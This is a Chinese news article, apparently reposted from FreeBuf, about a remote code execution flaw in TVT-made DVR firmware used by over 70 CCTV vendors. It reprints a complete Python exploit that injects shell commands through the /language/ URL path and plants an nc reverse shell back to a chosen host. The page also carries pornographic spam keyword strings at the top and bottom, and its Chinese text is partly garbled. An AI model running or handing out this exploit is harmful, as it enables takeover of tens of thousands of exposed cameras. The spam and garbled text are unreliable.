成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

黑掉70多款監(jiān)控?cái)z像頭?so easy!

安全 終端安全
近日,一位安全研究員發(fā)現(xiàn)70多個供應(yīng)商售賣的監(jiān)控?cái)z像頭很容易受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。

近日,一位安全研究員發(fā)現(xiàn)70多個供應(yīng)商售賣的監(jiān)控?cái)z像頭很容易受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。

根據(jù)安全研究員Rotem Kemer研究發(fā)現(xiàn),超過70個供應(yīng)商售賣的監(jiān)控?cái)z像頭都很容喲受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。

[[164830]]

研究人員注意到供應(yīng)商正在售賣的商品使用的是同樣的、易受到RCE攻擊的固件。

在“白色標(biāo)簽”的經(jīng)營模式下,各種各樣的供應(yīng)商只是簡單地將自己的標(biāo)簽貼在相同的產(chǎn)品上進(jìn)行售賣,但是不幸的是,他們都沒有開發(fā)軟件硬件的資格。

這個脆弱的固件是由一家中國制造商TVT開發(fā)的,Kerner分析之后發(fā)現(xiàn)了閉路電視系統(tǒng)的DVR盒易于攻擊的原因。

使用這種固件的產(chǎn)品是在一家銷售閉路電視系統(tǒng)的以色列公司購買的,其代碼也表明了這是一個脆弱的HTTP服務(wù)器。

安全漏洞依賴于服務(wù)器來檢查是否存在給定語言的目錄。如果該文件夾不存在,軟件會通過提取遠(yuǎn)程命令來執(zhí)行打開口令。

下面是研究人員的解釋:

它會讀取URL,如果URL包含以下的內(nèi)容/language/[language]/index.html 。

如果該目錄存在的話,就會提取斜杠之間的【language】內(nèi)容并且進(jìn)行檢查;如果不存在,就會直接執(zhí)行此命令

tar –zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

這基本上就是給了我們一個遠(yuǎn)程命令執(zhí)行的機(jī)會。

下面是影響固件漏洞的概念證明代碼:

  1. #!/usr/bin/python  
  2. # http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html  
  3. __author__ = 'Rotem Kerner' 
  4. from sys import argv  
  5. import optparse  
  6. from urlparse import urlparse  
  7. from re import compile  
  8. import socket  
  9. import requests  
  10. from requests.exceptions import ConnectionError, Timeout, ContentDecodingError  
  11. from socket import timeout  
  12. def main():  
  13.     # parse command line options and atguments  
  14.     optparseoptparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])  
  15.     optparser.add_option('-c','--check',action="store_true",dest="checkvuln"default=False,  
  16.                          help="Check if target is vulnerable")  
  17.     optparser.add_option('-e','--exploit', action="store"type="string"dest="connback",  
  18.                          help="Fire the exploit against the given target URL")  
  19.     (options, args) = optparser.parse_args()  
  20.     try:  
  21.         target = args[0]  
  22.     except IndexError:  
  23.         optparser.print_help()  
  24.         exit()  
  25.     target_url = urlparse(target)  
  26.     # validating hostname  
  27.     if not target_url.hostname:  
  28.         print "[X] supplied target "%s" is not a valid URL" % target  
  29.         optparser.print_help()  
  30.         exit()  
  31.     # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.  
  32.     socket.setdefaulttimeout(10)  
  33.     # is -c flag on check if target url is vulnrable.  
  34.     if options.checkvuln is True:  
  35.         print "[!] Checking if target "%s" is vulnable..." % target_url.netloc  
  36.         try:  
  37.             # Write file  
  38.             raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'  
  39.                          % (target_url.scheme, target_url.netloc))  
  40.             # Read the file.  
  41.             response = raw_url_request('%s:/%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))  
  42.             # remove it..  
  43.             raw_url_request('%s://%s/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'  
  44.                          % (target_url.scheme, target_url.netloc))  
  45.         except (ConnectionError, Timeout, timeout) as e:  
  46.             print "[X] Unable to connect. reason: %s.  exiting..." % e.message  
  47.             return  
  48.         if response.text[0] != '1':   
  49.             print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text  
  50.             return  
  51.         print "[V] Target "%s" is vulnerable!" % target_url.netloc  
  52.     # if -e is on then fire exploit,  
  53.     if options.connback is not None:  
  54.         # Validate connect-back information.  
  55.         pattern = compile('(?P<host>[a-zA-Z0-9.-]+):(?P<port>[0-9]+)')  
  56.         match = pattern.search(options.connback)  
  57.         if not match:  
  58.             print "[X] given connect back "%s" should be in the format for host:port" % options.connback  
  59.             optparser.print_help()  
  60.             exit()  
  61.         # fire remote code execution!  
  62.         # Three ..  
  63.         try:  
  64.             raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'  
  65.                         % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))  
  66.         # Two ...  
  67.             raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'  
  68.                          % (target_url.scheme, target_url.netloc))  
  69.         # One. Left off!  
  70.             raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'  
  71.                          % (target_url.scheme, target_url.netloc))  
  72.         except (ConnectionError, Timeout, timeout) as e:  
  73.             print "[X] Unable to connect reason: %s.  exiting..." % e.message  
  74.         print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s"   
  75.               % (match.group('host'), match.group('port'))  
  76. # Disabling URL encode hack  
  77. def raw_url_request(url):  
  78.     r = requests.Request('GET')  
  79.     r.url = url  
  80.     rr = r.prepare()  
  81.     # set url without encoding  
  82.     r.url = url  
  83.     s = requests.Session()  
  84.     return s.send(r)  
  85. if __name__ == '__main__':  
  86.     main() 

他注意到目前來說有數(shù)以萬計(jì)的產(chǎn)品在使用這種HTTP服務(wù)器。他是在查詢了Shodan搜索引擎之后做出的這樣的肯定判斷,而沒在這種搜索引擎中的產(chǎn)品可能數(shù)量更多。

研究者說,“快速查詢Shodan之后發(fā)現(xiàn)其分布超過三萬;這已經(jīng)很多了,但是我相信這還只是一小部分。”

Kerner試圖向最初的制造商TVT報(bào)告這個問題,但是沒有受到任何回復(fù)。

責(zé)任編輯:藍(lán)雨淚 來源: FreeBuf
相關(guān)推薦

2021-03-11 10:21:55

特斯拉黑客網(wǎng)絡(luò)攻擊

2009-10-22 09:00:10

Windows 7攝像工具

2014-07-16 13:36:30

MotionLinux監(jiān)控

2019-12-26 12:30:54

攝像頭漏洞攻擊

2013-03-21 09:56:09

2011-04-25 09:16:10

Windows 8

2012-06-23 20:13:44

HTML5

2024-11-29 16:51:18

2017-06-20 11:45:52

2021-08-10 10:59:17

APP攝像頭黑產(chǎn)

2009-06-17 11:52:01

Linux

2009-08-21 17:24:18

C#控制攝像頭

2011-09-08 13:53:20

Linux攝像頭

2015-05-11 10:16:20

2023-11-06 12:57:03

2012-06-05 11:59:25

2021-07-30 16:22:52

攝像頭漏洞CamOver

2011-09-13 15:51:11

PhoneGap AP

2018-06-20 11:54:54

2020-06-04 10:59:10

JavaScript開發(fā)技術(shù)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: www.天天操 | 国产成人精品在线播放 | 丝袜一区二区三区 | 日韩精品一二三 | 久久久久网站 | 成人伊人网| 成人精品一区二区三区 | 亚洲免费精品 | 国产高清精品网站 | 欧美视频免费在线 | 亚洲欧美日本在线 | 成年精品 | 亚洲国产黄 | 欧美综合久久 | 一区二区三区亚洲 | 美女久久久久久久 | 国产欧美精品在线观看 | 亚洲一区二区国产 | 日韩在线一区视频 | 亚洲欧美中文字幕在线观看 | 久久久久久天堂 | 秋霞电影院午夜伦 | av网站在线免费观看 | 亚洲在线免费观看 | 国产美女网站 | 免费v片| 日韩在线视频一区二区三区 | 欧美精品一区二区在线观看 | 亚洲一区二区在线播放 | 91久久爽久久爽爽久久片 | 男插女下体视频 | 欧美高清一级片 | 黄色一级电影免费观看 | 免费一区二区 | 黄色大片视频 | 成人在线观看网址 | 欧美一级做a爰片免费视频 国产美女特级嫩嫩嫩bbb片 | 精品久久香蕉国产线看观看亚洲 | 91文字幕巨乱亚洲香蕉 | 狠狠久久久| 色婷婷一区二区三区四区 |